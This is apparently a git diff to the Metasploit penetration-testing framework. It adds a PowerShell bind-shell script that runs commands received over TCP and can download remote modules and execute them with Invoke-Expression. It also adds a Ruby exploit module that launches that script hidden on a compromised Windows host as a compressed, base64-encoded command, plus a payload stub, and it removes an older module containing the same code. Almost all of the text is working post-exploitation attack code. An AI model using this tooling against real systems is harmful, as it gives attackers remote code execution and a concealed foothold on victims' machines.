diff --git a/data/exploits/powershell/powerfun.ps1 b/data/exploits/powershell/powerfun.ps1 new file mode 100644 index 0000000000..9bc007d4d2 --- /dev/null +++ b/data/exploits/powershell/powerfun.ps1 @@ -0,0 +1,45 @@ +function Get-Webclient { + $wc = New-Object Net.WebClient + $wc.UseDefaultCredentials = $true + $wc.Proxy.Credentials = $wc.Credentials + $wc +} + +function powerfun($download) { + $modules = @(MODULES_REPLACE) + $listener = [System.Net.Sockets.TcpListener]LPORT_REPLACE + $listener.start() + [byte[]]$bytes = 0..255|%{0} + $client = $listener.AcceptTcpClient() + $stream = $client.GetStream() + + $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n 'Get-Help Module-Name -Full' for more details on any module.`n 'Get-Module -ListAvailable' for a list of loaded cmdlets.`n`n") + $stream.Write($sendbytes,0,$sendbytes.Length) + $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>') + $stream.Write($sendbytes,0,$sendbytes.Length) + + if ($download -eq 1) { + ForEach ($module in $modules) { + (Get-Webclient).DownloadString($module)|Invoke-Expression + } + } + + while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) + { + $EncodedText = New-Object System.Text.ASCIIEncoding + $data = $EncodedText.GetString($bytes,0, $i) + $sendback = (Invoke-Expression $data 2>&1 | Out-String ) + + $sendback2 = $sendback + "PS " + (get-location).Path + "> " + $x = ($error[0] | out-string) + $error.clear() + $sendback2 = $sendback2 + $x + + $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) + $stream.Write($sendbyte,0,$sendbyte.Length) + $stream.Flush() + } + + $client.Close() + $listener.Stop() +} diff --git a/modules/exploits/windows/local/interactive_powershell.rb b/modules/exploits/windows/local/interactive_powershell.rb new file mode 100644 index 0000000000..b84e36e2fa --- /dev/null +++ b/modules/exploits/windows/local/interactive_powershell.rb @@ -0,0 +1,131 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Local + include Msf::Post::Windows::Powershell + + def initialize(info = {}) + super(update_info(info, + 'Name' => "Windows Local Interactive Powershell Session", + 'Description' => %q( + This module will start a new interactive PowerShell bind session. A list of + modules (comma separated) can be supplied in the LOAD_MODULES option to import + into the interactive session. E.g. http://site/p1.ps1,http://site/p2.ps1 + Use a meterpreter route to ensure you can gain access to the bind port. + ), + 'License' => MSF_LICENSE, + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], + 'DisclosureDate' => 'Apr 15 2015', + 'Author' => [ + 'Ben Turner', # changed module to load interactive powershell via bind tcp + 'Dave Hardy', # changed module to load interactive powershell via bind tcp and load other powershell modules + 'Nicholas Nam ', # original meterpreter script + ], + 'Payload' => + { + 'Compat' => + { + 'PayloadType' => 'cmd_interact', + 'ConnectionType' => 'find' + } + }, + 'Arch' => [ ARCH_CMD ], + 'Targets' => + [ + [ 'Windows', {} ] + ], + 'DefaultTarget' => 0 + )) + + register_options( + [ + Opt::LPORT(4444), + OptAddress.new('RHOST', [false, 'The target address, will default to the session IP if unset', nil]), + OptString.new('LOAD_MODULES', [false, + 'A list of powershell modules seperated by a comma to download over the web', + nil]) + ], self.class) + end + + def exploit + lport = datastore['LPORT'] + + if datastore['RHOST'].to_s.empty? + rhost = session.session_host + else + rhost = datastore['RHOST'] + end + + template_path = File.join( + Msf::Config.data_directory, + 'exploits', + 'powershell', + 'powerfun.ps1') + + script_in = File.read(template_path) + script_in << "\npowerfun" + + mods = '' + + if datastore['LOAD_MODULES'] + mods_array = datastore['LOAD_MODULES'].to_s.split(',') + mods_array.collect(&:strip) + print_status("Loading #{mods_array.count} modules into the interactive PowerShell session") + mods_array.each {|m| vprint_good " #{m}"} + mods = "\"#{mods_array.join("\",\n\"")}\"" + script_in << " 1\n" + end + + script_in.gsub!('MODULES_REPLACE', mods) + script_in.gsub!('LPORT_REPLACE', lport.to_s) + + script = compress_script(script_in) + + res = session.sys.process.execute("powershell -nop -e #{script}", nil, 'Hidden' => true, 'Channelized' => false) + + fail_with(Exploit::Failure::Unknown, 'Failed to start powershell process') unless res && res.pid + + computer_name = session.sys.config.sysinfo['Computer'] + vprint_status("Started PowerShell on #{computer_name} - PID: #{res.pid}") + print_status("Attemping to connect to #{rhost}:#{lport}...") + + ctimeout = 20 + stime = Time.now.to_i + last_error = nil + while stime + ctimeout > Time.now.to_i + Rex::ThreadSafe.sleep(2) + begin + client = Rex::Socket::Tcp.create( + 'PeerHost' => rhost, + 'PeerPort' => lport.to_i, + 'Proxies' => datastore['Proxies'], + 'Context' => + { + 'Msf' => framework, + 'MsfPayload' => payload_instance, + 'MsfExploit' => self + }) + rescue ::EOFError, Errno::ETIMEDOUT, Errno::ECONNRESET, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error => e + last_error = e + end + + if client + handler(client) + return + end + end + + print_warning("If a shell is unsuccesful, ensure you have access to the target host and port.") + print_status("Try adding a route to the host: `route help`") + if last_error + raise last_error + else + fail_with(Exploit::Failure::Unknown, "Unable to connect") + end + end +end diff --git a/modules/payloads/singles/cmd/windows/interact.rb b/modules/payloads/singles/cmd/windows/interact.rb new file mode 100644 index 0000000000..f290240d5f --- /dev/null +++ b/modules/payloads/singles/cmd/windows/interact.rb @@ -0,0 +1,38 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/find_shell' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + CachedSize = 0 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Windows Command, Interact with Established Connection', + 'Description' => 'Interacts with a shell on an established socket connection', + 'Author' => 'hdm', + 'License' => MSF_LICENSE, + 'Platform' => 'windows', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::FindShell, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd_interact', + 'RequiredCmd' => 'generic', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + +end diff --git a/modules/post/windows/manage/powershell.rb b/modules/post/windows/manage/powershell.rb deleted file mode 100644 index 99354bb4b2..0000000000 --- a/modules/post/windows/manage/powershell.rb +++ /dev/null @@ -1,218 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' -require 'rex' -require 'zlib' - -class Metasploit3 < Msf::Post - - def initialize(info={}) - super(update_info(info, - 'Name' => "Windows Manage Interactive Powershell Session", - 'Description' => %q{ - This module will start a new Interative PowerShell session over a meterpreter session. - }, - 'License' => MSF_LICENSE, - 'Platform' => ['win'], - 'SessionTypes' => ['meterpreter'], - 'DisclosureDate'=> "Apr 15 2015", - 'Author' => [ - 'Ben Turner', # changed module to load interactive powershell via bind tcp - 'Dave Hardy', # changed module to load interactive powershell via bind tcp and load other powershell modules - 'Nicholas Nam (nick[at]executionflow.org)', # original meterpreter script - 'RageLtMan' # post module - ] - )) - - register_options( - [ - OptString.new( 'LOAD_MODULES', [false, 'A list of powershell modules seperated by a comma, for example set LOAD_MODULES http://www.powershell.com/power1.ps1,http://www.powershell.com/power2.ps1,', ""]), - OptString.new( 'RHOST', [false, 'The IP of the system being exploited = rhost', ""]), - OptString.new( 'LPORT', [false, 'The PORT of the PowerShell listener = lpost', "55555"]) - ], self.class) - - register_advanced_options( - [ ], self.class) - - end - - # Function for setting multi handler for autocon - #------------------------------------------------------------------------------- - def set_handler(rhost,rport) - mul = session.framework.exploits.create("multi/handler") - mul.datastore['WORKSPACE'] = @client.workspace - mul.datastore['PAYLOAD'] = "windows/shell_bind_tcp" - mul.datastore['RHOST'] = rhost - mul.datastore['LPORT'] = rport - - mul.exploit_simple( - 'Payload' => mul.datastore['PAYLOAD'], - 'RunAsJob' => true - ) - print_status("Multi/handler started: payload=windows/shell_bind_tcp rhost=" + rhost + " lport=" + rport) - end - - # - # Return a zlib compressed powershell script - # - def compress_script(script_in, eof = nil) - - # Compress using the Deflate algorithm - compressed_stream = ::Zlib::Deflate.deflate(script_in, - ::Zlib::BEST_COMPRESSION) - - # Base64 encode the compressed file contents - encoded_stream = Rex::Text.encode_base64(compressed_stream) - - # Build the powershell expression - # Decode base64 encoded command and create a stream object - psh_expression = "$stream = New-Object IO.MemoryStream(," - psh_expression += "$([Convert]::FromBase64String('#{encoded_stream}')));" - # Read & delete the first two bytes due to incompatibility with MS - psh_expression += "$stream.ReadByte()|Out-Null;" - psh_expression += "$stream.ReadByte()|Out-Null;" - # Uncompress and invoke the expression (execute) - psh_expression += "$(Invoke-Expression $(New-Object IO.StreamReader(" - psh_expression += "$(New-Object IO.Compression.DeflateStream(" - psh_expression += "$stream," - psh_expression += "[IO.Compression.CompressionMode]::Decompress))," - psh_expression += "[Text.Encoding]::ASCII)).ReadToEnd());" - - # If eof is set, add a marker to signify end of script output - if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end - - # Convert expression to unicode - unicode_expression = Rex::Text.to_unicode(psh_expression) - - # Base64 encode the unicode expression - encoded_expression = Rex::Text.encode_base64(unicode_expression) - - return encoded_expression - end - - # - # Execute a powershell script and return the results. The script is never written - # to disk. - # - def execute_script(script, time_out = 15) - running_pids, open_channels = [], [] - # Execute using -EncodedCommand - session.response_timeout = time_out - cmd_out = session.sys.process.execute("powershell -EncodedCommand " + - "#{script}", nil, {'Hidden' => true, 'Channelized' => true}) - - # Add to list of running processes - running_pids << cmd_out.pid - - # Add to list of open channels - open_channels << cmd_out - - return [cmd_out, running_pids, open_channels] - end - - def run - @client = client - if (datastore['LOAD_MODULES'].empty?) - modsall = '' - else - print_status("Loading the following modules into the interactive PowerShell session:") - modsall = '' - modstemp = datastore['LOAD_MODULES'].to_s - modsarray = modstemp.split(',') - modsarray.each do |mod| - print_good(mod.to_s) - if mod == modsarray.last - modsall = modsall + "\"" + mod.to_s + "\"" - else - modsall = modsall + "\"" + mod.to_s + "\",\n" - end - end - print("\n") - end - - script_in=""+ - "function Get-Webclient {\n"+ - " $wc = New-Object Net.WebClient\n"+ - " $wc.UseDefaultCredentials = $true\n"+ - " $wc.Proxy.Credentials = $wc.Credentials\n"+ - " $wc\n"+ - "}\n"+ - "\n"+ - "function powerfun($download) {\n"+ - "\n"+ - " $modules = @("+ modsall + ")\n"+ - " $listener = [System.Net.Sockets.TcpListener]"+datastore['LPORT']+"\n"+ - " $listener.start()\n"+ - " [byte[]]$bytes = 0..255|%{0}\n"+ - " $client = $listener.AcceptTcpClient()\n"+ - " $stream = $client.GetStream() \n"+ - "\n"+ - "$sendbytes = ([text.encoding]::ASCII).GetBytes(\"Windows PowerShell`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n 'Get-Help Module-Name -Full' for more details on any module.`n 'Get-Module -ListAvailable' for a list of loaded cmdlets.`n`n\")\n"+ - "$stream.Write($sendbytes,0,$sendbytes.Length)\n"+ - "$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')\n"+ - "$stream.Write($sendbytes,0,$sendbytes.Length)\n"+ - "\n"+ - " if ($download -eq 1) { ForEach ($module in $modules)\n"+ - " {\n"+ - " (Get-Webclient).DownloadString($module)|Invoke-Expression\n"+ - " }}\n"+ - "\n"+ - " while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)\n"+ - " {\n"+ - " $EncodedText = New-Object System.Text.ASCIIEncoding\n"+ - " $data = $EncodedText.GetString($bytes,0, $i)\n"+ - " $sendback = (Invoke-Expression $data 2>&1 | Out-String )\n"+ - "\n"+ - " $sendback2 = $sendback + \"PS \" + (get-location).Path + \"> \"\n"+ - " $x = ($error[0] | out-string)\n"+ - " $error.clear()\n"+ - " $sendback2 = $sendback2 + $x\n"+ - "\n"+ - " $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)\n"+ - " $stream.Write($sendbyte,0,$sendbyte.Length)\n"+ - " $stream.Flush() \n"+ - " }\n"+ - " $client.Close()\n"+ - " $listener.Stop()\n"+ - "}\n"+ - "\n" - - if (datastore['LOAD_MODULES'].empty?) - script_in = script_in + "powerfun \n" - else - script_in = script_in + "powerfun 1\n" - end - - # End of file marker - eof = Rex::Text.rand_text_alpha(8) - env_suffix = Rex::Text.rand_text_alpha(8) - - # Get target's computer name - computer_name = session.sys.config.sysinfo['Computer'] - - # Compress the script - compressed_script = compress_script(script_in, eof) - script = compressed_script - cmd_out, running_pids, open_channels = execute_script(script, 15) - print_status("Started PowerShell on " + computer_name + ". The PID to kill once you have finished: " + running_pids[0].to_s) - - # Default parameters for payload - if (datastore['RHOST'].empty?) - rhost = @client.session_host - else - rhost = datastore['RHOST'] - end - - if (datastore['LPORT'].empty?) - rport = 55555 - else - rport = datastore['LPORT'] - end - set_handler(rhost,rport) - print_status("If a shell is unsuccesful, ensure you have access to the target host and port. Maybe you need to add a route (route add ?)") - print("\n") - end -end